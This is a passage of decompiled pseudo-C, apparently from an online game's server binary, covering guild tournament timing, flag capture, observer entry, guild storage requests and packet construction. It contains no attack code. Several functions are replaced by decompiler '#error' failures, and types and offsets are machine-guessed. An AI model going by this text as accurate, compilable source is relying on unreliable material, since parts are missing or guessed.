//----- (00451920) -------------------------------------------------------- void __thiscall GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo(GuildTouramentLoginDataInfo *this) { *(_QWORD *)&this->gta_Field.n3_name[4] = 0i64; *(_DWORD *)&this->gta_Field.n3_name[0] = 0; this->gta_Struct.nTournamentSeed = -1; } //----- (00451940) -------------------------------------------------------- bool __thiscall GuildTouramentLoginDataInfo::IsAccessTime(GuildTouramentLoginDataInfo *this) { unsigned int v1; // esi@1 unsigned int v2; // edx@2 v1 = this->gta_MatchStartTime; return v1 && (v2 = (unsigned __int64)(8246337211200i64 * this->gta_Struct.nExploerTimeMin) >> 32, clockwatch.cw_CurrTick <= v1 + ((signed int)v2 >> 2) + (v2 >> 31)); } //----- (00451980) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(int this) { int v1; // esi@1 v1 = *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)(this + 23654)); return v1 && clockwatch.cw_CurrTick <= v1 + 4800 * *(&guildtournamentinfo.gta_Struct.nExploerTimeMin + 18 * *(_BYTE *)(this + 23654)) / 10; } //----- (004519D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournament_isSummon(void *this) { void *v1; // ebp@1 char *v2; // esi@1 unsigned int v3; // eax@2 int v4; // edi@5 int v5; // eax@7 int i; // [sp+10h] [bp-4h]@1 v1 = this; i = 0; v2 = &guildtournamentinfo.gta_Field.n3_name[8]; while ( 1 ) { LOBYTE(v3) = *(v2 - 25); if ( (_BYTE)v3 == -1 || (v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1), v3 != *((_DWORD *)v2 - 4)) && (v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1), v3 != *((_DWORD *)v2 - 3)) ) goto LABEL_11; v4 = *(_DWORD *)(v2 + 7); if ( !v4 || (v3 = v4 + 4800 * *((_WORD *)v2 - 11) / 10, clockwatch.cw_CurrTick > v3) ) return v3; v5 = *(_DWORD *)((char *)v1 + 98); if ( *(_DWORD *)v5 == *((_DWORD *)v2 - 2) ) { if ( *(_DWORD *)(v5 + 4) == *((_DWORD *)v2 - 1) ) { v3 = *(_DWORD *)(v5 + 8); if ( v3 == *(_DWORD *)v2 ) break; } } LOBYTE(v3) = (*(int (__thiscall **)(void *, char *, int))(*(_DWORD *)v1 + 2252))(v1, v2 - 25, i); LABEL_11: v2 += 36; ++i; if ( (signed int)v2 >= 210303321 ) return v3; } *((_BYTE *)v1 + 23654) = i; return v3; } //----- (00451AA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn(void *this, int gt_start, char nTournamentSeed) { void *v3; // esi@1 int v4; // edi@4 const char *v5; // eax@4 int v6; // edi@4 const char *v7; // eax@4 int v8; // eax@7 v3 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 1980))() == *(_DWORD *)(gt_start + 9) || (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1980))(v3) == *(_DWORD *)(gt_start + 13) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2556))(v3) ) { *((_BYTE *)v3 + 23654) = nTournamentSeed; *(_WORD *)gpp.pp_Buffer = 29851; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_Send2GuildTournamentLogIn : Packet Too Long", 3); } } else { v4 = *(_DWORD *)v3; v5 = ShineScript::ss_String(&shinescriptetc, "GTEntryMapErr0"); (*(void (__thiscall **)(void *, const char *))(v4 + 1836))(v3, v5); v6 = *(_DWORD *)v3; v7 = ShineScript::ss_String(&shinescriptetc, "GTEntryMapErr1"); (*(void (__thiscall **)(void *, const char *))(v6 + 1836))(v3, v7); } } } //----- (00451B70) -------------------------------------------------------- char __thiscall FieldMap::fm_GuildTournamentClear(int this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@2 v1 = (void *)this; *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * *(_BYTE *)(this + 152)) = -1; *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)(this + 152)) = 0; *(_BYTE *)(this + 152) = -1; v2 = FieldMap::fm_GetGuildTournamentSystem((void *)this); if ( v2 ) { v3 = FieldMap::fm_GetGuildTournamentSystem(v1); LOBYTE(v2) = GuildTournamentSystem::Clear((GuildTournamentSystem *)v3); } return v2; } //----- (00451BC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::mb_SendMyGuildInfo(int this, int a2) { char *v2; // eax@2 int v3; // eax@4 if ( *(_DWORD *)(this + 8420) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29837; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); *((_DWORD *)v2 + 1) = *(_DWORD *)(this + 8420); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 764))(a2); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v3 + 12))(v3, a2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineMob::mb_SendMyGuildInfo : Packet Too Long", 8); } } } //----- (00451C30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStoreGradeFill(int this, char Grade) { char result; // al@1 result = Grade; *(_BYTE *)(this + 23653) = Grade; return result; } //----- (00451C40) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_ply_isGuildAcademyRewardStoreGrade() { return 99; } //----- (00451C50) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildStoreGrade(int this) { return *(_BYTE *)(this + 23653) <= 0u; } //----- (00451C60) -------------------------------------------------------- #error "451C60: undefined or illegal type '#331' (funcsize=29)" //----- (00451CB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_REQ(void *this, int netcmd, int len, __int16 handle) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 2260))(*(_WORD *)(netcmd + 2)); } //----- (00451CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out(int this, int nSeedNumber) { int v2; // esi@1 int v3; // ecx@2 v2 = this; if ( !ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(this) ) { v3 = *(_DWORD *)(v2 + 98); if ( v3 ) { if ( FieldMap::fm_IsGuildTournametnMap(v3) ) ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v2); } } } //----- (00451D00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(void *this, __int16 nType, int nUseSkill) { char *v3; // eax@1 void *v4; // esi@1 int v5; // eax@3 char *v6; // edi@5 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@5 int v8; // [sp+1Ch] [bp-4h]@5 v3 = gpp.pp_Buffer; v4 = this; *(_WORD *)gpp.pp_Buffer = 29904; *((_WORD *)v3 + 1) = nType; *((_WORD *)v3 + 2) = nUseSkill; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK : Packet Too Long", 6); } if ( nUseSkill != 65535 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29905; *(_DWORD *)(v6 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); *((_WORD *)v6 + 3) = nUseSkill; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v8 = 0; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (00451DF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK(void *this, __int16 nType) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29899; *((_WORD *)v2 + 1) = nType; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_ACK : Packet Too Long", 4); } } //----- (00451E50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(int this, __int16 nType) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int v6; // eax@3 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29900; *((_WORD *)v2 + 1) = nType; *((_WORD *)v2 + 2) = *(_WORD *)(this + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v4 = *(_DWORD *)(v3 + 78); v8 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD : Packet Too Long", 6); } v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00451F30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK(void *this, __int16 nType) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29908; *((_WORD *)v2 + 1) = nType; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_ACK : Packet Too Long", 4); } } //----- (00451F90) -------------------------------------------------------- #error "451F90: undefined or illegal type '#331' (funcsize=56)" //----- (00452080) -------------------------------------------------------- void __thiscall FieldMap::fm_GuildTournamentEnd(void *this, int winner, int loser) { void *v3; // esi@1 char v4; // cl@3 int v5; // esi@3 char *v6; // eax@5 ZoneBaseSession *v7; // eax@7 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildTournamentEnd"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v3 + 152) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_GuildTournamentEnd : Seed not set", *((_BYTE *)v3 + 152)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); } else { v4 = *((_BYTE *)v3 + 152); v5 = 36 * *((_BYTE *)v3 + 152); if ( *(&guildtournamentinfo.gta_Struct.nTournamentSeed + v5) == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldMap::fm_GuildTournamentEnd : Seed not set<2>", 255); } else { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29826; v6[2] = v4; *(_WORD *)(v6 + 3) = *(unsigned __int16 *)((char *)&guildtournamentinfo.gta_Struct.nTournamentMapNo + v5); *(_DWORD *)(v6 + 6) = winner; v6[5] = winner == loser; *(_DWORD *)(v6 + 10) = loser; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Packet Too Long", 14); } *(&guildtournamentinfo.gta_Result2WMS + v5) = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnd"); } } //----- (00452210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetGuildRegNum(void *this, int gld) { void *v2; // esi@1 char *v3; // eax@1 int v4; // edx@1 int v5; // ST04_4@1 int v6; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 2105) = gld; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29837; *((_WORD *)v3 + 1) = *((_WORD *)v2 + 2); v4 = *((_DWORD *)v2 + 2105); v8 = 0; *((_DWORD *)v3 + 1) = v4; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v8) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetGuildRegNum"); } //----- (00452310) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2000))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEMDB_CLOSE_GUILD_STORAGE_CMD"); } //----- (004523B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@3 ZoneBaseSession *v6; // eax@5 char *v7; // edi@6 ZoneBaseSession *v8; // eax@8 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4) ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13425; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ : Packet Too Long", 12); } v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29854; *((_WORD *)v7 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ : Packet Too Long", 8); } } else { ShineObjectClass::ShinePlayer::sp_GuildStorageError(v4, 4674); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_STORAGEOPEN_REQ"); } //----- (00452520) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_ZONE_MEMBERGRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 unsigned int v4; // ebx@1 char *v5; // esi@3 DebugLogging *v6; // eax@11 DebugLogging *v7; // esi@11 _iobuf *v8; // esi@13 char *v9; // [sp-4h] [bp-20h]@7 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v4 = 0; if ( v3 == 7000 ) { if ( *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1) > 0u ) { v5 = (char *)&netcmd[5].protocol + 1; do { GuildTournamentSystem::SetGuildMemberGrade(*(_DWORD *)v5, (unsigned __int8)v5[4]); ++v4; v5 += 5; } while ( v4 < *(unsigned __int16 *)((char *)&netcmd[4].protocol + 1) ); } goto LABEL_15; } if ( v3 == 7001 ) { v9 = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ERR_GUILDTOURNAMENT_MEMBERGRADE_NOT_FOUND"; LABEL_10: DebugLogging::operator<<(&GuildTournamentLog, v9); goto LABEL_11; } if ( v3 == 7002 ) { v9 = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ERR_GUILDTOURNAMENT_MEMBERGRADE_NOT_TOURNAMENT"; goto LABEL_10; } LABEL_11: v6 = DebugLogging::operator<<( &GuildTournamentLog, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK : ErrorCode :"); v7 = v6; if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_MEMBERGRADE_ACK"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00452650) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // edi@1 void *v4; // eax@2 int v5; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)&netcmd[4].protocol); if ( v3 ) { v4 = operator new(0x6Cu); if ( v4 ) RollBackPosCallBackEvent::RollBackPosCallBackEvent( (RollBackPosCallBackEvent *)v4, (Name3 *)&netcmd[6], (Name3 *)&netcmd[6], *(_DWORD *)&netcmd[12].protocol, *(_DWORD *)&netcmd[14].protocol); else v5 = 0; ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(v3, v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"); } //----- (00452740) -------------------------------------------------------- #error "452740: undefined or illegal type '#331' (funcsize=104)" //----- (004528D0) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew(void *this, int pReq) { void *v2; // esi@1 signed __int16 result; // ax@2 int v4; // eax@3 int v5; // edi@3 unsigned int v6; // edx@3 char *v7; // edi@5 int v8; // eax@5 int v9; // edi@5 int v10; // ebp@5 int v11; // eax@5 int v12; // eax@5 InventoryLocking::InventoryCellLock *v13; // eax@5 ZoneBaseSession *v14; // eax@7 InventoryLocking::ReservedQuantity reserv; // [sp+4h] [bp-14h]@3 v2 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 1980))() ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, InventoryLocking::ReservedQuantity *))(*(_DWORD *)v4 + 80))(v4, &reserv); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); if ( reserv.cen + __PAIR__(v6, v5) >= *(_QWORD *)(pReq + 17) ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29925; *((_WORD *)v7 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); *((_WORD *)v7 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v8); *((_WORD *)v7 + 5) = *(_WORD *)pReq; *((_DWORD *)v7 + 3) = *(_DWORD *)(pReq + 2); *((_DWORD *)v7 + 4) = *(_DWORD *)(pReq + 6); *((_DWORD *)v7 + 5) = *(_DWORD *)(pReq + 10); v7[24] = *(_BYTE *)(pReq + 14); *(_WORD *)(v7 + 25) = *(_WORD *)(pReq + 15); *(_DWORD *)(v7 + 27) = *(_DWORD *)(pReq + 17); *(_DWORD *)(v7 + 31) = *(_DWORD *)(pReq + 21); v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v10 = *(_DWORD *)v9; v11 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v2 + 1916))( v2, *(_DWORD *)(pReq + 17), *(_DWORD *)(pReq + 21), -1); LOWORD(v12) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v11); (*(void (__thiscall **)(int, int))(v10 + 56))(v9, v12); v13 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); InventoryLocking::InventoryCellLock::icl_IncIndex(v13); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v14); result = 7232; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew : Packet Too Long", 35); result = 7232; } } else { result = 7236; } } else { result = 7234; } return result; } //----- (00452A40) -------------------------------------------------------- #error "452A40: undefined or illegal type '#331' (funcsize=135)" //----- (00452C20) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"); } //----- (00452C70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ(int this, int netcmd, int len, __int16 handle) { char v4; // dl@1 char *v5; // eax@1 ZoneBaseSession *v6; // eax@3 v4 = *(_BYTE *)(netcmd + 2); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29913; v5[2] = v4; *(_WORD *)(v5 + 3) = *(_WORD *)(this + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ : Packet Too Long", 5); } } //----- (00452CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ(int this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // ecx@2 v4 = this; if ( !ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(this) ) { v5 = *(_DWORD *)(v4 + 98); if ( v5 ) { if ( FieldMap::fm_IsGuildTournametnMap(v5) ) ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v4); } } } //----- (00452D00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFree(void *this) { int v1; // esi@1 v1 = (int)this; if ( *((_WORD *)this + 11823) != -1 ) { *((_WORD *)this + 11823) = -1; *((_DWORD *)this + 23039) = 0; *((_DWORD *)this + 23040) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)this + 23043) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)this + 23042) = 0; (*(void (__stdcall **)(_DWORD, _DWORD))(*(_DWORD *)this + 772))(8, 72); ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(v1, 6993); } } //----- (00452D60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFreeCheck(int this, __int16 hFlag) { if ( *(_WORD *)(this + 23646) == hFlag ) ShineObjectClass::ShinePlayer::sp_FlagCaptureFree((void *)this); } //----- (00452D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK(void *this, __int16 nType) { ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(this, nType, 65535); } //----- (00452DA0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_GuildTournamantStart(WorldManagerSession *this, PROTO_NC_GUILD_TOURNAMENT_START_CMD *gt_start) { int v2; // eax@1 const char *v3; // esi@2 int v4; // edi@7 int v5; // ecx@8 char *v6; // eax@8 int v7; // ecx@8 int v8; // edx@8 int v9; // eax@8 int v10; // ecx@8 unsigned int v11; // edx@8 int v12; // eax@11 int v13; // ecx@12 char *v14; // eax@12 int v15; // ecx@12 int v16; // edx@12 unsigned int v17; // edx@12 int v18; // ecx@12 unsigned int v19; // eax@12 int v20; // edx@12 char *v21; // eax@12 int v22; // edx@12 char *v23; // edi@12 ZoneBaseSession *v24; // eax@14 ZoneBaseSession *v25; // eax@17 unsigned int v26; // eax@19 List *v27; // edi@23 unsigned __int16 v28; // si@23 unsigned __int16 v29; 